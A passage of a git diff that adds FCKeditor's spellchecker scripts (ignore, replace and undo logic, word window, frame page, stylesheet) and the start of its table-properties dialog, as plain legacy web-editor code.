+               return false;
+       }
+       if( !this.wordWin.getTextVal( ti, wi )) {
+               alert( 'Error: "Not in dictionary" text is missing.' );
+               return false;
+       }
+       // set as ignored
+       if( this._setAsIgnored( ti, wi, this.ignrWordFlag )) {
+               this.currentWordIndex++;
+               this._spellcheck();
+       }
+       return true;
+}
+
+function ignoreAll() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       // get the word that is currently being evaluated.
+       var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+       if( !s_word_to_repl ) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+
+       // set this word as an "ignore all" word. 
+       this._setAsIgnored( ti, wi, this.ignrAllFlag );
+
+       // loop through all the words after this word
+       for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+               for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                       if(( i == ti && j > wi ) || i > ti ) {
+                               // future word: set as "from ignore all" if
+                               // 1) do not already have a flag and 
+                               // 2) have the same value as current word
+                               if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+                               && ( !this.wordFlags[i][j] )) {
+                                       this._setAsIgnored( i, j, this.fromIgnrAll );
+                               }
+                       }
+               }
+       }
+
+       // finally, move on
+       this.currentWordIndex++;
+       this._spellcheck();
+       return true;
+}
+
+function replaceWord() {
+       var wi = this.currentWordIndex;
+       var ti = this.currentTextIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       if( !this.wordWin.getTextVal( ti, wi )) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+       if( !this.controlWin.replacementText ) {
+               return false ;
+       }
+       var txt = this.controlWin.replacementText;
+       if( txt.value ) {
+               var newspell = new String( txt.value );
+               if( this._setWordText( ti, wi, newspell, this.replWordFlag )) {
+                       this.currentWordIndex++;
+                       this._spellcheck();
+               }
+       }
+       return true;
+}
+
+function replaceAll() {
+       var ti = this.currentTextIndex;
+       var wi = this.currentWordIndex;
+       if( !this.wordWin ) {
+               alert( 'Error: Word frame not available.' );
+               return false;
+       }
+       var s_word_to_repl = this.wordWin.getTextVal( ti, wi );
+       if( !s_word_to_repl ) {
+               alert( 'Error: "Not in dictionary" text is missing' );
+               return false;
+       }
+       var txt = this.controlWin.replacementText;
+       if( !txt.value ) return false;
+       var newspell = new String( txt.value );
+
+       // set this word as a "replace all" word. 
+       this._setWordText( ti, wi, newspell, this.replAllFlag );
+
+       // loop through all the words after this word
+       for( var i = ti; i < this.wordWin.textInputs.length; i++ ) {
+               for( var j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                       if(( i == ti && j > wi ) || i > ti ) {
+                               // future word: set word text to s_word_to_repl if
+                               // 1) do not already have a flag and 
+                               // 2) have the same value as s_word_to_repl
+                               if(( this.wordWin.getTextVal( i, j ) == s_word_to_repl )
+                               && ( !this.wordFlags[i][j] )) {
+                                       this._setWordText( i, j, newspell, this.fromReplAll );
+                               }
+                       }
+               }
+       }
+       
+       // finally, move on
+       this.currentWordIndex++;
+       this._spellcheck();
+       return true;
+}
+
+function terminateSpell() {
+       // called when we have reached the end of the spell checking.
+       var msg = "";           // by FredCK
+       var numrepl = this._getTotalReplaced();
+       if( numrepl == 0 ) {
+               // see if there were no misspellings to begin with
+               if( !this.wordWin ) {
+                       msg = "";
+               } else {
+                       if( this.wordWin.totalMisspellings() ) {
+//                             msg += "No words changed.";                     // by FredCK
+                               msg += FCKLang.DlgSpellNoChanges ;      // by FredCK
+                       } else {
+//                             msg += "No misspellings found.";        // by FredCK
+                               msg += FCKLang.DlgSpellNoMispell ;      // by FredCK
+                       }
+               }
+       } else if( numrepl == 1 ) {
+//             msg += "One word changed.";                     // by FredCK
+               msg += FCKLang.DlgSpellOneChange ;      // by FredCK
+       } else {
+//             msg += numrepl + " words changed.";     // by FredCK
+               msg += FCKLang.DlgSpellManyChanges.replace( /%1/g, numrepl ) ;
+       }
+       if( msg ) {
+//             msg += "\n";    // by FredCK
+               alert( msg );
+       }
+
+       if( numrepl > 0 ) {
+               // update the text field(s) on the opener window
+               for( var i = 0; i < this.textInputs.length; i++ ) {
+                       // this.textArea.value = this.wordWin.text;
+                       if( this.wordWin ) {
+                               if( this.wordWin.textInputs[i] ) {
+                                       this.textInputs[i].value = this.wordWin.textInputs[i];
+                               }
+                       }
+               }
+       }
+
+       // return back to the calling window
+//     this.spellCheckerWin.close();                                   // by FredCK
+       if ( typeof( this.OnFinished ) == 'function' )  // by FredCK
+               this.OnFinished(numrepl) ;                                      // by FredCK
+
+       return true;
+}
+
+function undo() {
+       // skip if this is the first word!
+       var ti = this.currentTextIndex;
+       var wi = this.currentWordIndex;
+       
+       if( this.wordWin.totalPreviousWords( ti, wi ) > 0 ) {
+               this.wordWin.removeFocus( ti, wi );
+
+               // go back to the last word index that was acted upon 
+               do {
+                       // if the current word index is zero then reset the seed
+                       if( this.currentWordIndex == 0 && this.currentTextIndex > 0 ) {
+                               this.currentTextIndex--;
+                               this.currentWordIndex = this.wordWin.totalWords( this.currentTextIndex )-1;
+                               if( this.currentWordIndex < 0 ) this.currentWordIndex = 0;
+                       } else {
+                               if( this.currentWordIndex > 0 ) {
+                                       this.currentWordIndex--;
+                               }
+                       }
+               } while ( 
+                       this.wordWin.totalWords( this.currentTextIndex ) == 0
+                       || this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromIgnrAll
+                       || this.wordFlags[this.currentTextIndex][this.currentWordIndex] == this.fromReplAll
+               ); 
+
+               var text_idx = this.currentTextIndex;
+               var idx = this.currentWordIndex;
+               var preReplSpell = this.wordWin.originalSpellings[text_idx][idx];
+               
+               // if we got back to the first word then set the Undo button back to disabled
+               if( this.wordWin.totalPreviousWords( text_idx, idx ) == 0 ) {
+                       this.controlWin.disableUndo();
+               }
+       
+               var i, j, origSpell ;
+               // examine what happened to this current word.
+               switch( this.wordFlags[text_idx][idx] ) {
+                       // replace all: go through this and all the future occurances of the word 
+                       // and revert them all to the original spelling and clear their flags
+                       case this.replAllFlag :
+                               for( i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+                                       for( j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                                               if(( i == text_idx && j >= idx ) || i > text_idx ) {
+                                                       origSpell = this.wordWin.originalSpellings[i][j];
+                                                       if( origSpell == preReplSpell ) {
+                                                               this._setWordText ( i, j, origSpell, undefined );
+                                                       }
+                                               }
+                                       }
+                               }
+                               break;
+                               
+                       // ignore all: go through all the future occurances of the word 
+                       // and clear their flags
+                       case this.ignrAllFlag :
+                               for( i = text_idx; i < this.wordWin.textInputs.length; i++ ) {
+                                       for( j = 0; j < this.wordWin.totalWords( i ); j++ ) {
+                                               if(( i == text_idx && j >= idx ) || i > text_idx ) {
+                                                       origSpell = this.wordWin.originalSpellings[i][j];
+                                                       if( origSpell == preReplSpell ) {
+                                                               this.wordFlags[i][j] = undefined; 
+                                                       }
+                                               }
+                                       }
+                               }
+                               break;
+                               
+                       // replace: revert the word to its original spelling
+                       case this.replWordFlag :
+                               this._setWordText ( text_idx, idx, preReplSpell, undefined );
+                               break;
+               }
+
+               // For all four cases, clear the wordFlag of this word. re-start the process
+               this.wordFlags[text_idx][idx] = undefined; 
+               this._spellcheck();
+       }
+}
+
+function _spellcheck() {
+       var ww = this.wordWin;
+       
+       // check if this is the last word in the current text element
+       if( this.currentWordIndex == ww.totalWords( this.currentTextIndex) ) {
+               this.currentTextIndex++;
+               this.currentWordIndex = 0;
+               // keep going if we're not yet past the last text element
+               if( this.currentTextIndex < this.wordWin.textInputs.length ) {  
+                       this._spellcheck();
+                       return;
+               } else {
+                       this.terminateSpell();
+                       return;
+               }
+       }
+       
+       // if this is after the first one make sure the Undo button is enabled
+       if( this.currentWordIndex > 0 ) {
+               this.controlWin.enableUndo();
+       }
+
+       // skip the current word if it has already been worked on
+       if( this.wordFlags[this.currentTextIndex][this.currentWordIndex] ) {
+               // increment the global current word index and move on.
+               this.currentWordIndex++;
+               this._spellcheck();
+       } else {
+               var evalText = ww.getTextVal( this.currentTextIndex, this.currentWordIndex );
+               if( evalText ) {
+                       this.controlWin.evaluatedText.value = evalText;
+                       ww.setFocus( this.currentTextIndex, this.currentWordIndex );
+                       this._getSuggestions( this.currentTextIndex, this.currentWordIndex );
+               }
+       }
+}
+
+function _getSuggestions( text_num, word_num ) {
+       this.controlWin.clearSuggestions();
+       // add suggestion in list for each suggested word.
+       // get the array of suggested words out of the
+       // three-dimensional array containing all suggestions.
+       var a_suggests = this.wordWin.suggestions[text_num][word_num];  
+       if( a_suggests ) {
+               // got an array of suggestions.
+               for( var ii = 0; ii < a_suggests.length; ii++ ) {       
+                       this.controlWin.addSuggestion( a_suggests[ii] );
+               }
+       }
+       this.controlWin.selectDefaultSuggestion();
+}
+
+function _setAsIgnored( text_num, word_num, flag ) {
+       // set the UI
+       this.wordWin.removeFocus( text_num, word_num );
+       // do the bookkeeping
+       this.wordFlags[text_num][word_num] = flag;
+       return true;
+}
+
+function _getTotalReplaced() {
+       var i_replaced = 0;
+       for( var i = 0; i < this.wordFlags.length; i++ ) {
+               for( var j = 0; j < this.wordFlags[i].length; j++ ) {
+                       if(( this.wordFlags[i][j] == this.replWordFlag )
+                       || ( this.wordFlags[i][j] == this.replAllFlag )
+                       || ( this.wordFlags[i][j] == this.fromReplAll )) {
+                               i_replaced++;
+                       }
+               }
+       }
+       return i_replaced;
+}
+
+function _setWordText( text_num, word_num, newText, flag ) {
+       // set the UI and form inputs
+       this.wordWin.setText( text_num, word_num, newText );
+       // keep track of what happened to this word:
+       this.wordFlags[text_num][word_num] = flag;
+       return true;
+}
+
+function _getFormInputs( inputPattern ) {
+       var inputs = new Array();
+       for( var i = 0; i < document.forms.length; i++ ) {
+               for( var j = 0; j < document.forms[i].elements.length; j++ ) {
+                       if( document.forms[i].elements[j].type.match( inputPattern )) {
+                               inputs[inputs.length] = document.forms[i].elements[j]; 
+                       }       
+               }
+       }
+       return inputs;
+}
+
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellchecker.html
new file mode 100755 (executable)
index 0000000..c419d23
--- /dev/null
@@ -0,0 +1,71 @@
+
+<script>
+
+var wordWindow = null;
+var controlWindow = null;
+
+function init_spell( spellerWindow ) {
+
+       if( spellerWindow ) {
+               if( spellerWindow.windowType == "wordWindow" ) {
+                       wordWindow = spellerWindow;
+               } else if ( spellerWindow.windowType == "controlWindow" ) {
+                       controlWindow = spellerWindow;
+               }
+       }
+
+       if( controlWindow && wordWindow ) {
+               // populate the speller object and start it off!
+               var speller = opener.speller;
+               wordWindow.speller = speller;
+               speller.startCheck( wordWindow, controlWindow );
+       }
+}
+
+// encodeForPost
+function encodeForPost( str ) {
+       var s = new String( str );
+       s = encodeURIComponent( s );
+       // additionally encode single quotes to evade any PHP 
+       // magic_quotes_gpc setting (it inserts escape characters and 
+       // therefore skews the btye positions of misspelled words)
+       return s.replace( /\'/g, '%27' );
+}
+
+// post the text area data to the script that populates the speller
+function postWords() {
+       var bodyDoc = window.frames[0].document;
+       bodyDoc.open();
+       bodyDoc.write('<html>');
+       bodyDoc.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8">');
+       bodyDoc.write('<link rel="stylesheet" type="text/css" href="spellerStyle.css"/>');
+       if (opener) {
+               var speller = opener.speller;
+               bodyDoc.write('<body class="normalText" onLoad="document.forms[0].submit();">');
+               bodyDoc.write('<p>' + window.parent.FCKLang.DlgSpellProgress + '<\/p>');                // by FredCK
+               bodyDoc.write('<form action="'+speller.spellCheckScript+'" method="post">');
+               for( var i = 0; i < speller.textInputs.length; i++ ) {
+                       bodyDoc.write('<input type="hidden" name="textinputs[]" value="'+encodeForPost(speller.textInputs[i].value)+'">');
+               }
+               bodyDoc.write('<\/form>');
+               bodyDoc.write('<\/body>');
+       } else {
+               bodyDoc.write('<body class="normalText">');
+               bodyDoc.write('<p><b>This page cannot be displayed<\/b><\/p><p>The window was not opened from another window.<\/p>');
+               bodyDoc.write('<\/body>');
+       }
+       bodyDoc.write('<\/html>');
+       bodyDoc.close();
+}
+</script>
+
+<html>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<head>
+<title>Speller Pages</title>
+</head>
+<frameset rows="*,201" onLoad="postWords();">
+<frame src="blank.html">
+<frame src="controls.html">
+</frameset>
+</html>
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/spellerStyle.css
new file mode 100755 (executable)
index 0000000..47bc1ef
--- /dev/null
@@ -0,0 +1,49 @@
+.blend {
+       font-family: courier new;
+       font-size: 10pt;
+       border: 0;
+       margin-bottom:-1;
+}
+.normalLabel {
+       font-size:8pt;
+}
+.normalText {
+       font-family:arial, helvetica, sans-serif;
+       font-size:10pt;
+       color:000000;
+       background-color:FFFFFF;
+}
+.plainText {
+       font-family: courier new, courier, monospace;
+       font-size: 10pt;
+       color:000000;
+       background-color:FFFFFF;
+}
+.controlWindowBody {
+       font-family:arial, helvetica, sans-serif;
+       font-size:8pt;
+       padding: 7px ;          /* by FredCK */
+       margin: 0px ;           /* by FredCK */
+       /* color:000000;                                by FredCK */
+       /* background-color:DADADA;             by FredCK */
+}
+.readonlyInput {
+       background-color:DADADA;
+       color:000000;
+       font-size:8pt;
+       width:392px;
+}
+.textDefault {
+       font-size:8pt;
+       width: 200px;
+}
+.buttonDefault {
+       width:90px;
+       height:22px;
+       font-size:8pt;
+}
+.suggSlct {
+       width:200px;
+       margin-top:2;
+       font-size:8pt;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js b/fckeditor/editor/dialog/fck_spellerpages/spellerpages/wordWindow.js
new file mode 100755 (executable)
index 0000000..9cbf377
--- /dev/null
@@ -0,0 +1,272 @@
+////////////////////////////////////////////////////
+// wordWindow object
+////////////////////////////////////////////////////
+function wordWindow() {
+       // private properties
+       this._forms = [];
+
+       // private methods
+       this._getWordObject = _getWordObject;
+       //this._getSpellerObject = _getSpellerObject;
+       this._wordInputStr = _wordInputStr;
+       this._adjustIndexes = _adjustIndexes;
+       this._isWordChar = _isWordChar;
+       this._lastPos = _lastPos;
+       
+       // public properties
+       this.wordChar = /[a-zA-Z]/;
+       this.windowType = "wordWindow";
+       this.originalSpellings = new Array();
+       this.suggestions = new Array();
+       this.checkWordBgColor = "pink";
+       this.normWordBgColor = "white";
+       this.text = "";
+       this.textInputs = new Array();
+       this.indexes = new Array();
+       //this.speller = this._getSpellerObject();
+
+       // public methods
+       this.resetForm = resetForm;
+       this.totalMisspellings = totalMisspellings;
+       this.totalWords = totalWords;
+       this.totalPreviousWords = totalPreviousWords;
+       //this.getTextObjectArray = getTextObjectArray;
+       this.getTextVal = getTextVal;
+       this.setFocus = setFocus;
+       this.removeFocus = removeFocus;
+       this.setText = setText;
+       //this.getTotalWords = getTotalWords;
+       this.writeBody = writeBody;
+       this.printForHtml = printForHtml;
+}
+
+function resetForm() {
+       if( this._forms ) {
+               for( var i = 0; i < this._forms.length; i++ ) {
+                       this._forms[i].reset();
+               }
+       }
+       return true;
+}
+
+function totalMisspellings() {
+       var total_words = 0;
+       for( var i = 0; i < this.textInputs.length; i++ ) {
+               total_words += this.totalWords( i );
+       }
+       return total_words;
+}
+
+function totalWords( textIndex ) {
+       return this.originalSpellings[textIndex].length;
+}
+
+function totalPreviousWords( textIndex, wordIndex ) {
+       var total_words = 0;
+       for( var i = 0; i <= textIndex; i++ ) {
+               for( var j = 0; j < this.totalWords( i ); j++ ) {
+                       if( i == textIndex && j == wordIndex ) {
+                               break;
+                       } else {
+                               total_words++;
+                       }       
+               }
+       }
+       return total_words;
+}
+
+//function getTextObjectArray() {
+//     return this._form.elements;
+//}
+
+function getTextVal( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               return word.value;
+       }
+}
+
+function setFocus( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               if( word.type == "text" ) {
+                       word.focus();
+                       word.style.backgroundColor = this.checkWordBgColor;
+               }
+       }
+}
+
+function removeFocus( textIndex, wordIndex ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       if( word ) {
+               if( word.type == "text" ) {
+                       word.blur();
+                       word.style.backgroundColor = this.normWordBgColor;
+               }
+       }
+}
+
+function setText( textIndex, wordIndex, newText ) {
+       var word = this._getWordObject( textIndex, wordIndex );
+       var beginStr;
+       var endStr;
+       if( word ) {
+               var pos = this.indexes[textIndex][wordIndex];
+               var oldText = word.value;
+               // update the text given the index of the string
+               beginStr = this.textInputs[textIndex].substring( 0, pos );
+               endStr = this.textInputs[textIndex].substring( 
+                       pos + oldText.length, 
+                       this.textInputs[textIndex].length 
+               );
+               this.textInputs[textIndex] = beginStr + newText + endStr;
+               
+               // adjust the indexes on the stack given the differences in 
+               // length between the new word and old word. 
+               var lengthDiff = newText.length - oldText.length;
+               this._adjustIndexes( textIndex, wordIndex, lengthDiff );
+               
+               word.size = newText.length;
+               word.value = newText;
+               this.removeFocus( textIndex, wordIndex );
+       }
+}
+
+
+function writeBody() {
+       var d = window.document;
+       var is_html = false;
+
+       d.open();
+
+       // iterate through each text input.
+       for( var txtid = 0; txtid < this.textInputs.length; txtid++ ) { 
+               var end_idx = 0;
+               var begin_idx = 0;      
+               d.writeln( '<form name="textInput'+txtid+'">' );
+               var wordtxt = this.textInputs[txtid];
+               this.indexes[txtid] = [];
+
+               if( wordtxt ) {                 
+                       var orig = this.originalSpellings[txtid];
+                       if( !orig ) break;
+
+                       //!!! plain text, or HTML mode?
+                       d.writeln( '<div class="plainText">' );
+                       // iterate through each occurrence of a misspelled word. 
+                       for( var i = 0; i < orig.length; i++ ) {
+                               // find the position of the current misspelled word,
+                               // starting at the last misspelled word. 
+                               // and keep looking if it's a substring of another word
+                               do {
+                                       begin_idx = wordtxt.indexOf( orig[i], end_idx );
+                                       end_idx = begin_idx + orig[i].length;
+                                       // word not found? messed up!
+                                       if( begin_idx == -1 ) break; 
+                                       // look at the characters immediately before and after 
+                                       // the word. If they are word characters we'll keep looking.
+                                       var before_char = wordtxt.charAt( begin_idx - 1 );
+                                       var after_char = wordtxt.charAt( end_idx );
+                               } while ( 
+                                       this._isWordChar( before_char ) 
+                                       || this._isWordChar( after_char )
+                               );
+
+                               // keep track of its position in the original text. 
+                               this.indexes[txtid][i] = begin_idx;
+
+                               // write out the characters before the current misspelled word
+                               for( var j = this._lastPos( txtid, i ); j < begin_idx; j++ ) {
+                                       // !!! html mode? make it html compatible
+                                       d.write( this.printForHtml( wordtxt.charAt( j )));
+                               }
+
+                               // write out the misspelled word. 
+                               d.write( this._wordInputStr( orig[i] ));
+
+                               // if it's the last word, write out the rest of the text
+                               if( i == orig.length-1 ){
+                                       d.write( printForHtml( wordtxt.substr( end_idx )));
+                               }                       
+                       }
+
+                       d.writeln( '</div>' );
+                       
+               }
+               d.writeln( '</form>' );
+       }
+       //for ( var j = 0; j < d.forms.length; j++ ) {
+       //      alert( d.forms[j].name );
+       //      for( var k = 0; k < d.forms[j].elements.length; k++ ) {
+       //              alert( d.forms[j].elements[k].name + ": " + d.forms[j].elements[k].value );
+       //      }
+       //}     
+       
+       // set the _forms property
+       this._forms = d.forms;
+       d.close();
+}
+
+// return the character index in the full text after the last word we evaluated
+function _lastPos( txtid, idx ) {
+       if( idx > 0 )
+               return this.indexes[txtid][idx-1] + this.originalSpellings[txtid][idx-1].length;
+       else
+               return 0;
+}
+
+function printForHtml( n ) {
+       return n ;              // by FredCK
+/*     
+       var htmlstr = n;
+       if( htmlstr.length == 1 ) {
+               // do simple case statement if it's just one character
+               switch ( n ) {
+                       case "\n":
+                               htmlstr = '<br/>';
+                               break;
+                       case "<":
+                               htmlstr = '&lt;';
+                               break;
+                       case ">":
+                               htmlstr = '&gt;';
+                               break;
+               }
+               return htmlstr;
+       } else {
+               htmlstr = htmlstr.replace( /</g, '&lt' );
+               htmlstr = htmlstr.replace( />/g, '&gt' );
+               htmlstr = htmlstr.replace( /\n/g, '<br/>' );
+               return htmlstr;
+       }
+*/
+}
+
+function _isWordChar( letter ) {
+       if( letter.search( this.wordChar ) == -1 ) {
+               return false;
+       } else {
+               return true;
+       }
+}
+
+function _getWordObject( textIndex, wordIndex ) {
+       if( this._forms[textIndex] ) {
+               if( this._forms[textIndex].elements[wordIndex] ) {
+                       return this._forms[textIndex].elements[wordIndex];
+               }
+       }
+       return null;
+}
+
+function _wordInputStr( word ) {
+       var str = '<input readonly ';
+       str += 'class="blend" type="text" value="' + word + '" size="' + word.length + '">';
+       return str;
+}
+
+function _adjustIndexes( textIndex, wordIndex, lengthDiff ) {
+       for( var i = wordIndex + 1; i < this.originalSpellings[textIndex].length; i++ ) {
+               this.indexes[textIndex][i] = this.indexes[textIndex][i] + lengthDiff;
+       }
+}
diff --git a/fckeditor/editor/dialog/fck_table.html b/fckeditor/editor/dialog/fck_table.html
new file mode 100755 (executable)
index 0000000..1fd445f
--- /dev/null
@@ -0,0 +1,290 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fck_table.html
+ *     Table dialog window.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>Table Properties</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <meta name="robots" content="noindex, nofollow" />
+       <script src="common/fck_dialog_common.js" type="text/javascript"></script>
+       <script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+// Gets the table if there is one selected.
+var table ;
+var e = oEditor.FCKSelection.GetSelectedElement() ;
+
+if ( ( !e && document.location.search.substr(1) == 'Parent' ) || ( e && e.tagName != 'TABLE' ) )
+       e = oEditor.FCKSelection.MoveToAncestorNode( 'TABLE' ) ;
+
+if ( e && e.tagName == "TABLE" )
+       table = e ;
+
+// Fired when the window loading process is finished. It sets the fields with the
+// actual values if a table is selected in the editor.
+window.onload = function()
+{
+       // First of all, translate the dialog box texts
+       oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+       if (table)
+       {
+               document.getElementById('txtRows').value    = table.rows.length ;
+               document.getElementById('txtColumns').value = table.rows[0].cells.length ;
+
+               // Gets the value from the Width or the Style attribute
+               var iWidth  = (table.style.width  ? table.style.width  : table.width ) ;
+               var iHeight = (table.style.height ? table.style.height : table.height ) ;
+
+               if (iWidth.indexOf('%') >= 0)                   // Percentual = %
+               {
+                       iWidth = parseInt( iWidth.substr(0,iWidth.length - 1), 10 ) ;
+                       document.getElementById('selWidthType').value = "percent" ;
+               }
+               else if (iWidth.indexOf('px') >= 0)             // Style Pixel = px
+               {                                                                                                                                                                                                                 //
+                       iWidth = iWidth.substr(0,iWidth.length - 2);
+                       document.getElementById('selWidthType').value = "pixels" ;
+               }
+               
+               if (iHeight && iHeight.indexOf('px') >= 0)              // Style Pixel = px
+                       iHeight = iHeight.substr(0,iHeight.length - 2);
+               
+               document.getElementById('txtWidth').value               = iWidth || '' ;
+               document.getElementById('txtHeight').value              = iHeight || '' ;
+               document.getElementById('txtBorder').value              = GetAttribute( table, 'border', '' ) ;
+               document.getElementById('selAlignment').value   = GetAttribute( table, 'align', '' ) ;
+               document.getElementById('txtCellPadding').value = GetAttribute( table, 'cellPadding', '' ) ;
+               document.getElementById('txtCellSpacing').value = GetAttribute( table, 'cellSpacing', '' ) ;
+               document.getElementById('txtSummary').value     = GetAttribute( table, 'summary', '' ) ;
+//             document.getElementById('cmbFontStyle').value   = table.className ;
+
+               if (table.caption) document.getElementById('txtCaption').value = table.caption.innerHTML ;
+               
+               document.getElementById('txtRows').disabled    = true ;
+               document.getElementById('txtColumns').disabled = true ;
+       }
+       
+       window.parent.SetOkButton( true ) ;     
+       window.parent.SetAutoSize( true ) ;     
+}
+
+// Fired when the user press the OK button
+function Ok()
+{
+       var bExists = ( table != null ) ;
+       
+       if ( ! bExists )
+               table = oEditor.FCK.EditorDocument.createElement( "TABLE" ) ;
+
+       // Removes the Width and Height styles
+       if ( bExists && table.style.width )             table.style.width = null ; //.removeAttribute("width") ;
+       if ( bExists && table.style.height )    table.style.height = null ; //.removeAttribute("height") ;
+
+       var sWidth = GetE('txtWidth').value ;
+       if ( sWidth.length > 0 && GetE('selWidthType').value == 'percent' )
+               sWidth += '%' ;
+
+       SetAttribute( table, 'width'            , sWidth ) ;
+       SetAttribute( table, 'height'           , GetE('txtHeight').value ) ;
+       SetAttribute( table, 'border'           , GetE('txtBorder').value ) ;
+       SetAttribute( table, 'align'            , GetE('selAlignment').value ) ;
+       SetAttribute( table, 'cellPadding'      , GetE('txtCellPadding').value ) ;
+       SetAttribute( table, 'cellSpacing'      , GetE('txtCellSpacing').value ) ;
+       SetAttribute( table, 'summary'          , GetE('txtSummary').value ) ;
+
+       var eCaption = oEditor.FCKDomTools.GetFirstChild( table, 'CAPTION' ) ;
+
+       if ( document.getElementById('txtCaption').value != '')
+       {
+               if ( !eCaption )
+               {
+                       eCaption = oEditor.FCK.EditorDocument.createElement( 'CAPTION' ) ;
+                       table.insertBefore( eCaption, table.firstChild ) ;
+               }
+
+               eCaption.innerHTML = document.getElementById('txtCaption').value ;
+       }
+       else if ( bExists && eCaption )
+               eCaption.parentNode.removeChild( eCaption ) ;
+               
+       if (! bExists)
+       {
+               var iRows = document.getElementById('txtRows').value ;
+               var iCols = document.getElementById('txtColumns').value ;
+               
+               for ( var r = 0 ; r < iRows ; r++ )
+               {
+                       var oRow = table.insertRow(-1) ;
+                       for ( var c = 0 ; c < iCols ; c++ )
+                       {
+                               var oCell = oRow.insertCell(-1) ;
+                               if ( oEditor.FCKBrowserInfo.IsGeckoLike )
+                                       oCell.innerHTML = GECKO_BOGUS ;
+                               //oCell.innerHTML = "&nbsp;" ;
+                       }
+               }
+               
+               oEditor.FCKUndo.SaveUndoStep() ;
+               
+               oEditor.FCK.InsertElement( table ) ;
+       }
+       
+       return true ;
+}
+
+       </script>
+</head>
+<body style="overflow: hidden">
+       <table id="otable" cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 100%">
+               <tr>
+                       <td>
+                               <table cellspacing="1" cellpadding="1" width="100%" border="0">
+                                       <tr>
+                                               <td valign="top">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableRows">Rows</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtRows" type="text" maxlength="3" size="2" value="3" name="txtRows"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableColumns">Columns</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtColumns" type="text" maxlength="2" size="2" value="2" name="txtColumns"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                                       <td>
+                                                                               &nbsp;</td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableBorder">Border size</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtBorder" type="text" maxlength="2" size="2" value="1" name="txtBorder"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableAlign">Alignment</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selAlignment" name="selAlignment">
+                                                                                       <option fcklang="DlgTableAlignNotSet" value="" selected="selected">&lt;Not set&gt;</option>
+                                                                                       <option fcklang="DlgTableAlignLeft" value="left">Left</option>
+                                                                                       <option fcklang="DlgTableAlignCenter" value="center">Center</option>
+                                                                                       <option fcklang="DlgTableAlignRight" value="right">Right</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                       </table>
+                                               </td>
+                                               <td>
+                                                       &nbsp;&nbsp;&nbsp;</td>
+                                               <td align="right" valign="top">
+                                                       <table cellspacing="0" cellpadding="0" border="0">
+                                                               <tr>
+                                                                       <td>
+                                                                               <span fcklang="DlgTableWidth">Width</span>:</td>
+                                                                       <td>
+                                                                               &nbsp;<input id="txtWidth" type="text" maxlength="4" size="3" value="200" name="txtWidth"
+                                                                                       onkeypress="return IsDigit(event);" /></td>
+                                                                       <td>
+                                                                               &nbsp;<select id="selWidthType" name="selWidthType">
+                                                                                       <option fcklang="DlgTableWidthPx" value="pixels" selected="selected">pixels</option>
+                                                                                       <option fcklang="DlgTableWidthPc" value="percent">percent</option>
+                                                                               </select></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td>
